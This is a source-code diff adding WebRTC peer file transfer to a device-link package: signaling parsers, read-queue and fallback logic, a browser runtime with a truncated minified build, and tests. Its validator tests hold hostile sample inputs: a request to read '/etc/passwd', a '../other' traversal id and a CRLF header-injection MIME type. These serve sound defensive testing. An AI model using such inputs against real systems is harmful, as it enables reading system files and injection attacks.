+and bytes, receive the response policy, and do not receive an HTML script prolog.
+Same-origin assets and requests remain usable,
+while external subresources, fetch and forms are blocked. The
+snapshot policy also explicitly denies workers, preventing Service Worker registration
+from surviving a temporary loopback origin. This is not a zero-egress
+sandbox: documents without the prolog and the shared guard's residual child realms can access WebRTC, and an
+external browser's top-level navigation is outside the loopback server's control.
+Mobile uses native request/response callbacks for on-demand resources. The legacy
+`start(files)` API remains available, and JS on older native binaries retains the
+previous directory-snapshot behavior and limits. On-demand loading requires a new
+iOS/Android native build; the WebRTC transport itself reuses the existing WebView dependency.
+
+Validation entrypoints: `node scripts/file-peer-smoke.mjs <Chrome executable>`
+checks the shipped WebView script over a real local WebRTC connection, including
+empty/block-boundary files, sequential reuse and sink failures. Protocol, Main
+permission/descriptor and Mobile staging tests cover bounded failure paths. This
+local browser probe does not establish deployed TURN, physical phone, network
+switching or release-build acceptance; test those separately with matching accounts
+and record versions and the actual selected path.
+
+Large-file transport retains protocol version 1 and advertises optional `caps.maxBytes`.
+Old peers keep their previous limits and rejected peer reads retain the existing OSS fallback.
+Both receivers reserve disk space for the incoming file and its consumer copy plus 256 MiB
+headroom; preview copies and Mobile OSS downloads also check disk headroom. WebRTC receive
+commands use a 60-second deadline renewed by successful disk writes rather than a ten-minute
+total deadline. Mobile on-demand HTTP requests allow up to two hours including queueing,
+transfer and response consumption; cancellation/backgrounding still closes them immediately.
+This does not add Range streaming or make very large HTML document parsing memory-bounded.
diff --git a/packages/device-link/src/__tests__/fileAccess.test.ts b/packages/device-link/src/__tests__/fileAccess.test.ts
new file mode 100644
index 0000000000..e53cc5ab01
--- /dev/null
+++ b/packages/device-link/src/__tests__/fileAccess.test.ts
@@ -0,0 +1,114 @@
+import { describe, expect, it, vi } from "vitest";
+import { readDeviceFile } from "../fileAccess";
+
+const metadata = {
+ ossKey: "",
+ size: 100_000,
+ mimeType: "text/plain",
+ transferRequired: true,
+};
+describe("shared file read policy", () => {
+ it.each(["audio/mpeg", "video/mp4", "image/png", "application/pdf", "application/octet-stream"])("keeps retained %s previews on OSS but full-file reads on peer", async (mimeType) => {
+ const prepared = { ...metadata, mimeType };
+ const peer = vi.fn(async () => ({ ...prepared, transferRequired: false }));
+ const fallback = vi.fn(async () => ({ ...prepared, ossKey: "stream/key", transferRequired: false }));
+ expect((await readDeviceFile({ prepare: async () => prepared, peer, fallback, stream: true, peerResultIsTransient: true })).ossKey).toBe("stream/key");
+ expect(peer).not.toHaveBeenCalled();
+ expect(fallback).toHaveBeenCalledOnce();
+ await readDeviceFile({ prepare: async () => prepared, peer, fallback, stream: false, peerResultIsTransient: true });
+ expect(peer).toHaveBeenCalledOnce();
+ expect(fallback).toHaveBeenCalledOnce();
+ });
+ it.each([["image/png", 1], ["application/pdf", 1], ["audio/mpeg", 0], ["video/mp4", 0], ["Audio/MP4", 0]] as const)("preserves copied-peer adapter policy for %s", async (mimeType, peerCalls) => {
+ const prepared = { ...metadata, mimeType };
+ const peer = vi.fn(async () => ({ ...prepared, transferRequired: false }));
+ const fallback = vi.fn(async () => ({ ...prepared, ossKey: "stream/key" }));
+ await readDeviceFile({ prepare: async () => prepared, peer, fallback, stream: true });
+ expect(peer).toHaveBeenCalledTimes(peerCalls);
+ expect(fallback).toHaveBeenCalledTimes(1 - peerCalls);
+ });
+ it("returns an empty inline file without peer negotiation or OSS", async () => {
+ const result = {
+ ossKey: "",
+ size: 0,
+ mimeType: "text/plain",
+ inlineBase64: "",
+ };
+ const peer = vi.fn(),
+ fallback = vi.fn();
+ expect(
+ await readDeviceFile({ prepare: async () => result, peer, fallback }),
+ ).toBe(result);
+ expect(peer).not.toHaveBeenCalled();
+ expect(fallback).not.toHaveBeenCalled();
+ });
+ it("accepts old hosts ordinary OSS result without uploading twice", async () => {
+ const result = { ossKey: "old/key", size: 1, mimeType: "text/plain" };
+ const peer = vi.fn(),
+ fallback = vi.fn();
+ expect(
+ await readDeviceFile({ prepare: async () => result, peer, fallback }),
+ ).toBe(result);
+ expect(peer).not.toHaveBeenCalled();
+ expect(fallback).not.toHaveBeenCalled();
+ });
+ it("uses peer first for prepared bytes, then OSS only when unavailable", async () => {
+ const fallback = vi.fn(async () => ({
+ ...metadata,
+ ossKey: "oss/key",
+ transferRequired: false,
+ }));
+ const result = { ...metadata, ossKey: "", transferRequired: false };
+ expect(
+ await readDeviceFile({
+ prepare: async () => metadata,
+ peer: async () => result,
+ fallback,
+ }),
+ ).toBe(result);
+ expect(fallback).not.toHaveBeenCalled();
+ expect(
+ (
+ await readDeviceFile({
+ prepare: async () => metadata,
+ peer: async () => null,
+ fallback,
+ })
+ ).ossKey,
+ ).toBe("oss/key");
+ });
+ it("does not route permission failures into another transport", async () => {
+ const peer = vi.fn(),
+ fallback = vi.fn();
+ await expect(
+ readDeviceFile({
+ prepare: async () => {
+ throw new Error("DENIED");
+ },
+ peer,
+ fallback,
+ }),
+ ).rejects.toThrow("DENIED");
+ expect(peer).not.toHaveBeenCalled();
+ expect(fallback).not.toHaveBeenCalled();
+ });
+ it("disposes a peer result overtaken by cancellation and never starts OSS", async () => {
+ const abort = new AbortController(),
+ discard = vi.fn(),
+ fallback = vi.fn();
+ await expect(
+ readDeviceFile({
+ prepare: async () => metadata,
+ peer: async () => {
+ abort.abort();
+ return metadata;
+ },
+ fallback,
+ discard,
+ signal: abort.signal,
+ }),
+ ).rejects.toThrow("FILE_PEER_CANCELLED");
+ expect(discard).toHaveBeenCalledWith(metadata);
+ expect(fallback).not.toHaveBeenCalled();
+ });
+});
diff --git a/packages/device-link/src/__tests__/filePeer.test.ts b/packages/device-link/src/__tests__/filePeer.test.ts
new file mode 100644
index 0000000000..eac53d9908
--- /dev/null
+++ b/packages/device-link/src/__tests__/filePeer.test.ts
@@ -0,0 +1,55 @@
+import { describe, expect, it } from "vitest";
+import {
+ FILE_PEER_CHANNEL,
+ parseFilePeerFile,
+ parseFilePeerRequest,
+} from "../filePeer";
+import { REMOTE_INVOKE_ALLOWLIST } from "../allowlist";
+
+const connection = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa";
+describe("file transfer signaling", () => {
+ it("uses an allowed aggregate channel without accepting caller-supplied paths as read commands", () => {
+ expect(REMOTE_INVOKE_ALLOWLIST.has(FILE_PEER_CHANNEL)).toBe(true);
+ expect(parseFilePeerRequest({ action: "caps" })).toEqual({
+ action: "caps",
+ });
+ expect(() =>
+ parseFilePeerRequest({ action: "read", path: "/etc/passwd" }),
+ ).toThrow();
+ expect(
+ parseFilePeerRequest({
+ action: "open",
+ connection,
+ url: "xdt-file://local/?path=/tmp/a",
+ }).action,
+ ).toBe("open");
+ });
+ it.each([
+ null,
+ {},
+ { action: "offer", sdp: "" },
+ { action: "offer", sdp: "a".repeat(131073) },
+ { action: "close", connection: "../other" },
+ { action: "open", connection, url: 1 },
+ ])("rejects malformed requests %#", (value) => {
+ expect(() => parseFilePeerRequest(value)).toThrow();
+ });
+ it("accepts empty files and rejects unbounded metadata", () => {
+ expect(
+ parseFilePeerFile({ ticket: connection, size: 0, mimeType: "text/html" })
+ .size,
+ ).toBe(0);
+ expect(parseFilePeerFile({ ticket: connection, size: 2147483648, mimeType: "application/octet-stream" }).size).toBe(2147483648);
+ for (const size of [-1, NaN, Infinity, 1.5, 2147483649])
+ expect(() =>
+ parseFilePeerFile({ ticket: connection, size, mimeType: "text/html" }),
+ ).toThrow();
+ expect(() =>
+ parseFilePeerFile({
+ ticket: connection,
+ size: 1,
+ mimeType: "text/html\r\nx:y",
+ }),
+ ).toThrow();
+ });
+});
diff --git a/packages/device-link/src/__tests__/filePeerRuntimeSource.test.ts b/packages/device-link/src/__tests__/filePeerRuntimeSource.test.ts
new file mode 100644
index 0000000000..daa9950745
--- /dev/null
+++ b/packages/device-link/src/__tests__/filePeerRuntimeSource.test.ts
@@ -0,0 +1,11 @@
+import { execFileSync } from "node:child_process";
+import { fileURLToPath } from "node:url";
+import { it } from "vitest";
+it("ships a current static WebView runtime without relying on native function serialization", () => {
+ execFileSync(process.execPath, [
+ fileURLToPath(
+ new URL("../../../../scripts/file-peer-runtime.mjs", import.meta.url),
+ ),
+ "--check",
+ ]);
+});
diff --git a/packages/device-link/src/__tests__/fileReadQueue.test.ts b/packages/device-link/src/__tests__/fileReadQueue.test.ts
new file mode 100644
index 0000000000..bb544c90d1
--- /dev/null
+++ b/packages/device-link/src/__tests__/fileReadQueue.test.ts
@@ -0,0 +1,45 @@
+import { expect, it, vi } from 'vitest';
+import { createFileReadQueue } from '../fileAccess';
+it('queues busy peers, permits other peers and recovers after failure', async () => {
+ const run = createFileReadQueue();
+ let release!: () => void;
+ const first = run('peer', () => new Promise<void>((resolve) => { release = resolve; }));
+ const second = vi.fn(async () => { throw new Error('transfer failed'); });
+ const rejected = expect(run('peer', second)).rejects.toThrow('transfer failed');
+ expect(await run('other-peer', async () => 'other')).toBe('other');
+ expect(second).not.toHaveBeenCalled();
+ release();
+ await first;
+ await rejected;
+ expect(await run('peer', async () => 'reused')).toBe('reused');
+});
+it('cancels queued work without interrupting the active reader', async () => {
+ const run = createFileReadQueue();
+ let release!: () => void;
+ const first = run('peer', () => new Promise<void>((resolve) => { release = resolve; }));
+ const controller = new AbortController();
+ const read = vi.fn();
+ const rejected = expect(run('peer', read, controller.signal)).rejects.toThrow('FILE_PEER_CANCELLED');
+ controller.abort();
+ await rejected;
+ release();
+ await first;
+ await run('peer', async () => {});
+ expect(read).not.toHaveBeenCalled();
+});
+it('awaits running cleanup on cancellation before releasing the queue', async () => {
+ const run = createFileReadQueue();
+ const controller = new AbortController();
+ let finish!: () => void;
+ const first = run('peer', () => new Promise<void>((resolve) => { finish = resolve; }), controller.signal);
+ await Promise.resolve();
+ controller.abort();
+ const next = vi.fn(async () => {});
+ const second = run('peer', next);
+ await Promise.resolve();
+ expect(next).not.toHaveBeenCalled();
+ finish();
+ await first;
+ await second;
+ expect(next).toHaveBeenCalledOnce();
+});
diff --git a/packages/device-link/src/allowlist.ts b/packages/device-link/src/allowlist.ts
index f954e4cd54..e9ea116ffb 100644
--- a/packages/device-link/src/allowlist.ts
+++ b/packages/device-link/src/allowlist.ts
@@ -23,6 +23,7 @@
* 不接受 URL、不直接打开系统设置/请求 OS 授权、不修改开关;系统权限按钮仅本机可信
* Renderer 可调用。它由业务 dispatch 拦截,绝不放行通用 UI / shell IPC。
*/
+import { FILE_PEER_CHANNEL } from './filePeer.js';
import { SESSION_ACTIVITY_CHANNEL, SESSION_SYNC_CHANNEL } from './topics.js';
import { REMOTE_DESKTOP_INVOKE_MS } from './remoteDesktopIce.js';
import {
@@ -313,6 +314,7 @@ const CORE_INVOKE_CHANNELS: readonly string[] = [
DL_UNSUBSCRIBE_CHANNEL,
// 入方向媒体取件(被控端 dispatch 拦截执行,不落 ipcMain handler;契约登记 + 能力探测)。
DL_MEDIA_FETCH_CHANNEL,
+ FILE_PEER_CHANNEL,
// 出方向语音转写(被控端 dispatch 拦截执行,不落 ipcMain handler;复用被控端 ASR 配置)。
DL_VOICE_TRANSCRIBE_CHANNEL,
// 临时 voice credential 同步(被控端 dispatch 拦截执行,不落 ipcMain handler;禁止泛化)。
@@ -702,6 +704,7 @@ export const PUSH_FORWARD_ALLOWLIST: ReadonlySet<string> = new Set([
* client-agnostic:mobile/web 控制端应使用同一映射(与 allowlist 同为协议契约)。
*/
export const INVOKE_TIMEOUT_OVERRIDES_MS: Readonly<Record<string, number>> = {
+ [FILE_PEER_CHANNEL]: 30_000,
// Capture renderer readiness + source enumeration + offer, then reply delivery.
"device-link:remote-desktop:v1": REMOTE_DESKTOP_INVOKE_MS,
// 被控端 CMD_TIMEOUT_MS(30s)+ CMD_KILL_GRACE_MS(5s)+ 5s 回程余量
diff --git a/packages/device-link/src/fileAccess.ts b/packages/device-link/src/fileAccess.ts
new file mode 100644
index 0000000000..3799953538
--- /dev/null
+++ b/packages/device-link/src/fileAccess.ts
@@ -0,0 +1,130 @@
+/** Shared file read policy. UI entry points never choose a transport. */
+export const FILE_INLINE_MAX_BYTES = 64 * 1024;
+
+export interface DeviceFileResult {
+ ossKey: string;
+ size: number;
+ mimeType: string;
+ inlineBase64?: string;
+ /** Only emitted when the caller explicitly requests preparation. */
+ transferRequired?: boolean;
+}
+
+export function assertFileReadActive(signal?: AbortSignal): void {
+ if (signal?.aborted) throw new Error("FILE_PEER_CANCELLED");
+}
+
+/** Old hosts ignore prepareOnly and return their ordinary OSS/inline response. */
+export async function readDeviceFile<T extends DeviceFileResult>(options: {
+ prepare(): Promise<DeviceFileResult>;
+ peer(metadata: DeviceFileResult): Promise<T | null>;
+ fallback(): Promise<DeviceFileResult>;
+ /** Retained preview/playback URL, rather than an immediate complete-file copy. */
+ stream?: boolean;
+ /** Adapter returns expiring staging URLs without copying them into consumer-owned storage. */
+ peerResultIsTransient?: boolean;
+ signal?: AbortSignal;
+ isCurrent?(): boolean;
+ discard?(result: DeviceFileResult | T): Promise<void> | void;
+}): Promise<DeviceFileResult | T> {
+ const active = () =>
+ !options.signal?.aborted && options.isCurrent?.() !== false;
+ const assertActive = () => {
+ if (!active()) throw new Error("FILE_PEER_CANCELLED");
+ };
+ const discardCancelled = async (result: DeviceFileResult | T): Promise<never> => {
+ try {
+ await options.discard?.(result);
+ } finally {
+ throw new Error("FILE_PEER_CANCELLED");
+ }
+ };
+ assertActive();
+ const prepared = await options.prepare();
+ if (!active()) return discardCancelled(prepared);
+ if (prepared.transferRequired !== true) return prepared;
+ const needsFallback = options.stream &&
+ (options.peerResultIsTransient || /^(audio|video)\//i.test(prepared.mimeType));
+ const direct = needsFallback ? null : await options.peer(prepared);
+ if (direct && !active()) return discardCancelled(direct);
+ else assertActive();
+ if (direct) return direct;
+ const result = await options.fallback();
+ if (!active()) return discardCancelled(result);
+ return result;
+}
+
+/** Directory and bounded text previews retain the existing host-side semantics. */
+export function createDeviceFileOperations(
+ invoke: <T>(args: Record<string, unknown>) => Promise<T>,
+) {
+ return {
+ listDir: <T>(args: Record<string, unknown>) =>
+ invoke<T>({ ...args, op: "listDir" }),
+ readFile: <T>(args: Record<string, unknown>) =>
+ invoke<T>({ ...args, op: "readFile" }),
+ };
+}
+
+/** Large OSS uploads outlive a single relay invocation; keep their existing job protocol. */
+export async function exportDeviceFile(
+ invoke: <T>(args: Record<string, unknown>) => Promise<T>,
+ workdir: string,
+ relPath: string,
+ signal?: AbortSignal,
+): Promise<DeviceFileResult> {
+ assertFileReadActive(signal);
+ const start = await invoke<{
+ ok: boolean;
+ transferId: string;
+ size: number;
+ message?: string;
+ }>({ op: "exportFileStart", workdir, relPath });
+ assertFileReadActive(signal);
+ if (!start.ok) throw new Error(start.message ?? "FILE_EXPORT_FAILED");
+ const deadline = Date.now() + 30 * 60_000;
+ for (;;) {
+ assertFileReadActive(signal);
+ const status = await invoke<{
+ ok: boolean;
+ state: string;
+ key?: string;
+ message?: string;
+ }>({ op: "exportFileStatus", workdir, transferId: start.transferId });
+ assertFileReadActive(signal);
+ if (!status.ok || status.state === "error")
+ throw new Error(status.message ?? "FILE_EXPORT_FAILED");
+ if (status.state === "done" && status.key)
+ return {
+ ossKey: status.key,
+ size: start.size,
+ mimeType: "application/octet-stream",
+ };
+ if (Date.now() > deadline) throw new Error("FILE_EXPORT_TIMEOUT");
+ await new Promise<void>((resolve) => setTimeout(resolve, 700));
+ }
+}
+
+/** Serialize work per connection; busy peers should queue, not spill into OSS. */
+export function createFileReadQueue() {
+ const tails = new Map<string, Promise<void>>();
+ return function run<T>(key: string, operation: () => Promise<T>, signal?: AbortSignal): Promise<T> {
+ let started = false;
+ const previous = tails.get(key) ?? Promise.resolve();
+ const result = previous.then(() => {
+ assertFileReadActive(signal);
+ started = true;
+ return operation();
+ });
+ const tail = result.then(() => {}, () => {});
+ tails.set(key, tail);
+ void tail.then(() => { if (tails.get(key) === tail) tails.delete(key); });
+ if (!signal) return result;
+ return new Promise<T>((resolve, reject) => {
+ const abort = () => { if (!started) reject(new Error('FILE_PEER_CANCELLED')); };
+ if (signal.aborted) abort();
+ else signal.addEventListener('abort', abort, { once: true });
+ void result.then(resolve, reject).finally(() => signal.removeEventListener('abort', abort));
+ });
+ };
+}
diff --git a/packages/device-link/src/filePeer.ts b/packages/device-link/src/filePeer.ts
new file mode 100644
index 0000000000..8ff24ed726
--- /dev/null
+++ b/packages/device-link/src/filePeer.ts
@@ -0,0 +1,62 @@
+/** File bytes travel on WebRTC; this channel carries only authorized signaling. */
+export const FILE_PEER_CHANNEL = "device-link:file-peer";
+export const FILE_PEER_VERSION = 1;
+export const FILE_PEER_CHUNK_BYTES = 16 * 1024;
+export const FILE_PEER_MAX_BYTES = 2 * 1024 * 1024 * 1024;
+export const FILE_PEER_MAX_CONNECTIONS = 4;
+export const FILE_PEER_IDLE_MS = 60_000;
+
+export type FilePeerRequest =
+ | { action: "caps" }
+ | { action: "offer"; sdp: string }
+ | { action: "open"; connection: string; url: string }
+ | { action: "close"; connection: string };
+
+export interface FilePeerFile {
+ ticket: string;
+ size: number;
+ mimeType: string;
+}
+
+export function parseFilePeerRequest(value: unknown): FilePeerRequest {
+ if (!value || typeof value !== "object")
+ throw new Error("INVALID_FILE_PEER_REQUEST");
+ const v = value as Record<string, unknown>;
+ if (v.action === "caps") return { action: "caps" };
+ if (
+ v.action === "offer" &&
+ typeof v.sdp === "string" &&
+ v.sdp.length > 0 &&
+ v.sdp.length <= 128 * 1024
+ )
+ return { action: "offer", sdp: v.sdp };
+ if (typeof v.connection !== "string" || !/^[a-f0-9-]{36}$/.test(v.connection))
+ throw new Error("INVALID_FILE_PEER_REQUEST");
+ if (v.action === "close")
+ return { action: "close", connection: v.connection };
+ if (
+ v.action === "open" &&
+ typeof v.url === "string" &&
+ v.url.length > 0 &&
+ v.url.length <= 16 * 1024
+ )
+ return { action: "open", connection: v.connection, url: v.url };
+ throw new Error("INVALID_FILE_PEER_REQUEST");
+}
+
+export function parseFilePeerFile(value: unknown): FilePeerFile {
+ if (!value || typeof value !== "object")
+ throw new Error("INVALID_FILE_PEER_FILE");
+ const v = value as FilePeerFile;
+ if (
+ typeof v.ticket !== "string" ||
+ !/^[a-f0-9-]{36}$/.test(v.ticket) ||
+ !Number.isSafeInteger(v.size) ||
+ v.size < 0 ||
+ v.size > FILE_PEER_MAX_BYTES ||
+ typeof v.mimeType !== "string" ||
+ !/^[\w.+-]+\/[\w.+-]+$/.test(v.mimeType)
+ )
+ throw new Error("INVALID_FILE_PEER_FILE");
+ return { ticket: v.ticket, size: v.size, mimeType: v.mimeType };
+}
diff --git a/packages/device-link/src/filePeerRuntime.ts b/packages/device-link/src/filePeerRuntime.ts
new file mode 100644
index 0000000000..50e215b405
--- /dev/null
+++ b/packages/device-link/src/filePeerRuntime.ts
@@ -0,0 +1,251 @@
+/// <reference lib="dom" />
+
+export interface FilePeerRuntimeBridge {
+ read(connection: string, ticket: string, offset: number): Promise<string>;
+ write(sink: string, offset: number, base64: string): Promise<void>;
+}
+
+/**
+ * Trusted browser transport, also serialized into Mobile's isolated transport WebView.
+ * Keep the factory self-contained: no credentials, paths, imports or user HTML enter it.
+ * Pull at most 256 KiB per round; the next batch waits for the sink's disk writes.
+ */
+export function createFilePeerRuntime(bridge: FilePeerRuntimeBridge) {
+ const peers = new Map<
+ string,
+ { pc: RTCPeerConnection; dc: RTCDataChannel | null; busy: boolean }
+ >();
+ const chunkBytes = 16384;
+ const maxBytes = 2147483648;
+ function close(id: string) {
+ const p = peers.get(id);
+ peers.delete(id);
+ p?.dc?.close();
+ p?.pc.close();
+ }
+ function create(id: string, servers: RTCIceServer[]) {
+ if (peers.has(id) || peers.size >= 4) throw new Error("FILE_PEER_BUSY");
+ const pc = new RTCPeerConnection({ iceServers: servers });
+ const p = { pc, dc: null as RTCDataChannel | null, busy: false };
+ peers.set(id, p);
+ pc.onconnectionstatechange = () => {
+ if (["failed", "closed", "disconnected"].includes(pc.connectionState))
+ close(id);
+ };
+ return p;
+ }
+ async function localSdp(
+ pc: RTCPeerConnection,
+ description: RTCSessionDescriptionInit,
+ ) {
+ await pc.setLocalDescription(description);
+ if (pc.iceGatheringState !== "complete") {
+ await new Promise<void>((resolve) => {
+ const timer = setTimeout(done, 4000);
+ function done() {
+ clearTimeout(timer);
+ pc.removeEventListener("icegatheringstatechange", changed);
+ resolve();
+ }
+ function changed() {
+ if (pc.iceGatheringState === "complete") done();
+ }
+ pc.addEventListener("icegatheringstatechange", changed);
+ changed();
+ });
+ }
+ if (!pc.localDescription?.sdp || pc.signalingState === "closed")
+ throw new Error("FILE_PEER_CLOSED");
+ return pc.localDescription.sdp;
+ }
+ function decode(text: string) {
+ if (
+ text.length > 22000 ||
+ !/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(
+ text,
+ )
+ )
+ throw new Error("FILE_PEER_BLOCK");
+ const s = atob(text);
+ if (s.length > chunkBytes) throw new Error("FILE_PEER_BLOCK");
+ return Uint8Array.from(s, (c) => c.charCodeAt(0));
+ }
+ async function offer(id: string, servers: RTCIceServer[]) {
+ const p = create(id, servers);
+ p.dc = p.pc.createDataChannel("files-v1", { ordered: true });
+ p.dc.binaryType = "arraybuffer";
+ try {
+ return await localSdp(p.pc, await p.pc.createOffer());
+ } catch (error) {
+ close(id);
+ throw error;
+ }
+ }
+ async function accept(id: string, servers: RTCIceServer[], sdp: string) {
+ const p = create(id, servers);
+ p.pc.ondatachannel = ({ channel }) => {
+ if (channel.label !== "files-v1" || p.dc) {
+ channel.close();
+ return;
+ }
+ p.dc = channel;
+ channel.onmessage = async ({ data }) => {
+ try {
+ if (
+ peers.get(id) !== p ||
+ p.busy ||
+ typeof data !== "string" ||
+ data.length > 256
+ )
+ throw new Error("FILE_PEER_BLOCK");
+ const request = JSON.parse(data);
+ if (
+ !/^[a-f0-9-]{36}$/.test(request.ticket) ||
+ !Number.isSafeInteger(request.offset) ||
+ request.offset < 0 ||
+ request.offset > maxBytes ||
+ request.credit !== 16
+ )
+ throw new Error("FILE_PEER_BLOCK");
+ p.busy = true;
+ let offset = request.offset;
+ for (let i = 0; i < 16; i++) {
+ const bytes = decode(await bridge.read(id, request.ticket, offset));
+ if (peers.get(id) !== p || channel.readyState !== "open") return;
+ channel.send(bytes.buffer);
+ offset += bytes.length;
+ if (!bytes.length) break;
+ }
+ } catch {
+ close(id);
+ } finally {
+ p.busy = false;
+ }
+ };
+ };
+ try {
+ await p.pc.setRemoteDescription({ type: "offer", sdp });
+ return await localSdp(p.pc, await p.pc.createAnswer());
+ } catch (error) {
+ close(id);
+ throw error;
+ }
+ }
+ async function answer(id: string, sdp: string) {
+ const p = peers.get(id);
+ if (!p) throw new Error("FILE_PEER_CLOSED");
+ await p.pc.setRemoteDescription({ type: "answer", sdp });
+ await new Promise<void>((resolve, reject) => {
+ const dc = p.dc!;
+ const timer = setTimeout(
+ () => done(new Error("FILE_PEER_TIMEOUT")),
+ 8000,
+ );
+ function done(error?: Error) {
+ clearTimeout(timer);
+ dc.removeEventListener("open", opened);
+ dc.removeEventListener("close", closed);
+ if (error) reject(error);
+ else resolve();
+ }
+ function opened() {
+ done();
+ }
+ function closed() {
+ done(new Error("FILE_PEER_CLOSED"));
+ }
+ dc.addEventListener("open", opened);
+ dc.addEventListener("close", closed);
+ if (dc.readyState === "open") done();
+ else if (dc.readyState === "closed") closed();
+ });
+ }
+ async function receive(
+ id: string,
+ ticket: string,
+ size: number,
+ sink: string,
+ ) {
+ const p = peers.get(id),
+ dc = p?.dc;
+ if (
+ !p ||
+ !dc ||
+ dc.readyState !== "open" ||
+ p.busy ||
+ !Number.isSafeInteger(size) ||
+ size < 0 ||
+ size > maxBytes
+ )
+ throw new Error("FILE_PEER_UNAVAILABLE");
+ p.busy = true;
+ try {
+ let offset = 0;
+ // Also request a zero-byte EOF block: the source rechecks size/mtime before completion.
+ while (offset <= size) {
+ const batch = await new Promise<Uint8Array[]>((resolve, reject) => {
+ const blocks: Uint8Array[] = [];
+ let received = offset;
+ const timer = setTimeout(
+ () => done(new Error("FILE_PEER_TIMEOUT")),
+ 60000,
+ );
+ function done(error?: Error) {
+ clearTimeout(timer);
+ dc!.removeEventListener("message", message);
+ dc!.removeEventListener("close", closed);
+ if (error) reject(error);
+ else resolve(blocks);
+ }
+ function closed() {
+ done(new Error("FILE_PEER_CLOSED"));
+ }
+ function message(event: MessageEvent) {
+ if (!(event.data instanceof ArrayBuffer)) {
+ done(new Error("FILE_PEER_BLOCK"));
+ return;
+ }
+ const b = new Uint8Array(event.data);
+ if (b.length !== Math.min(chunkBytes, size - received)) {
+ done(new Error("FILE_PEER_SIZE"));
+ return;
+ }
+ blocks.push(b);
+ received += b.length;
+ if (!b.length || blocks.length === 16) done();
+ }
+ dc!.addEventListener("message", message);
+ dc!.addEventListener("close", closed);
+ try {
+ dc!.send(JSON.stringify({ ticket, offset, credit: 16 }));
+ } catch {
+ closed();
+ }
+ });
+ for (const bytes of batch) {
+ if (!bytes.length) return;
+ let binary = "";
+ for (const byte of bytes) binary += String.fromCharCode(byte);
+ await bridge.write(sink, offset, btoa(binary));
+ if (peers.get(id) !== p) throw new Error("FILE_PEER_CLOSED");
+ offset += bytes.length;
+ }
+ }
+ } catch (error) {
+ close(id);
+ throw error;
+ } finally {
+ p.busy = false;
+ }
+ }
+ return {
+ offer,
+ accept,
+ answer,
+ receive,
+ close,
+ dispose: () => {
+ for (const id of peers.keys()) close(id);
+ },
+ };
+}
diff --git a/packages/device-link/src/filePeerRuntimeSource.ts b/packages/device-link/src/filePeerRuntimeSource.ts
new file mode 100644
index 0000000000..3ac0ec7cc9
--- /dev/null
+++ b/packages/device-link/src/filePeerRuntimeSource.ts
@@ -0,0 +1,2 @@
+// Generated by node scripts/file-peer-runtime.mjs. Do not edit.
+export const FILE_PEER_RUNTIME_SOURCE = "\"use strict\";var CindyFilePeerRuntime=(()=>{var L=Object.defineProperty;var O=Object.getOwnPropertyDescriptor;var D=Object.getOwnPropertyNames;var A=Object.prototype.hasOwnProperty;var B=(l,o)=>{for(var d in o)L(l,d,{get:o[d],enumerable:!0})},k=(l,o,d,w)=>{if(o&&typeof o==\"object\"||typeof o==\"function\")for(let a of D(o))!A.call(l,a)&&a!==d&&L(l,a,{get:()=>o[a],enumerable:!(w=O(o,a))||w.enumerable});return l};var U=l=>k(L({},\"__esModule\",{value:!0}),l);var M={};B(M,{createFilePeerRuntime:()=>K});function K(l){let o=new Map,d=16384,w=2147483648;function a(e){let i=o.get(e);o.delete(e),i?.dc?.close(),i?.pc.close()}function _(e,i){if(o.has(e)||o.size>=4)throw new Error(\"FILE_PEER_BUSY\");let t=new RTCPeerConnection({iceServers:i}),r={pc:t,dc:null,busy:!1};return o.set(e,r),t.onconnectionstatechange=()=>{[\"failed\",\"closed\",\"disconnected\"].includes(t.connectionState)&&a(e)},r}async function R(e,i){if(await e.setLocalDescription(i),e.iceGatheringState!==\"complete\"&&await new Promise(t=>{let r=setTimeout(s,4e3);function s(){clearTimeout(r),e.removeEventListener(\"icegatheringstatechange\",n),t()}function n(){e.iceGatheringState===\"complete\"&&s()}e.addEventListener(\"icegatheringstatechange\",n),n()}),!e.localDescription?.sdp||e.signalingState===\"closed\")throw new Error(\"FILE_PEER_CLOSED\");return e.localDescription.sdp}function v(e){if(e.length>22e3||!/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(e))throw new Error(\"FILE_PEER_BLOCK\");let i=atob(e);if(i.length>d)throw new Error(\"FILE_PEER_BLOCK\");return Uint8Array.from(i,t=>t.charCodeAt(0))}async function P(e,i){let t=_(e,i);t.dc=t.pc.createDataChannel(\"files-v1\",{ordered:!0}),t.dc.binaryType=\"arraybuffer\";try{return await R(t.pc,await t.pc.createOffer())}catch(r){throw a(e),r}}async function S(e,i,t){let r=_(e,i);r.pc.ondatachannel=({channel:s})=>{if(s.label!==\"files-v1\"||r.dc){s.close();return}r.dc=s,s.onmessage=async({data:n})=>{try{if(o.get(e)!==r||r.busy||typeof n!=\"string\"||n.length>256)throw new Error(\"FILE_PEER_BLOCK\");let c=JSON.parse(n);if(!/^[a-f0-9-]{36}$/.test(c.ticket)||!Number.isSafeInteger(c.offset)||c.offset<0||c.offset>w||c.credit!==16)throw new Error(\"FILE_PEER_BLOCK\");r.busy=!0;let u=c.offset;for(let E=0;E<16;E++){let f=v(await l.read(e,c.ticket,u));if(o.get(e)!==r||s.readyState!==\"open\")return;if(s.send(f.buffer),u+=f.length,!f.length)break}}catch{a(e)}finally{r.busy=!1}}};try{return await r.pc.setRemoteDescription({type:\"offer\",sdp:t}),await R(r.pc,await r.pc.createAnswer())}catch(s){throw a(e),s}}async function I(e,i){let t=o.get(e);if(!t)throw new Error(\"FILE_PEER_CLOSED\");await t.pc.setRemoteDescription({type:\"answer\",sdp:i}),await new Promise((r,s)=>{let n=t.dc,c=setTimeout(()=>u(new Error(\"FILE_PEER_TIMEOUT\")),8e3);function u(g){clearTimeout(c),n.removeEventListener(\"open\",E),n.removeEventListener(\"close\",f),g?s(g):r()}function E(){u()}function f(){u(new Error(\"FILE_PEER_CLOSED\"))}n.addEventListener(\"open\",E),n.addEventListener(\"close\",f),n.readyState===\"open\"?u():n.readyState===\"closed\"&&f()})}async function T(e,i,t,r){let s=o.get(e),n=s?.dc;if(!s||!n||n.readyState!==\"open\"||s.busy||!Number.isSafeInteger(t)||t<0||t>w)throw new Error(\"FILE_PEER_UNAVAILABLE\");s.busy=!0;try{let c=0;for(;c<=t;){let u=await new Promise((E,f)=>{let g=[],b=c,F=setTimeout(()=>y(new 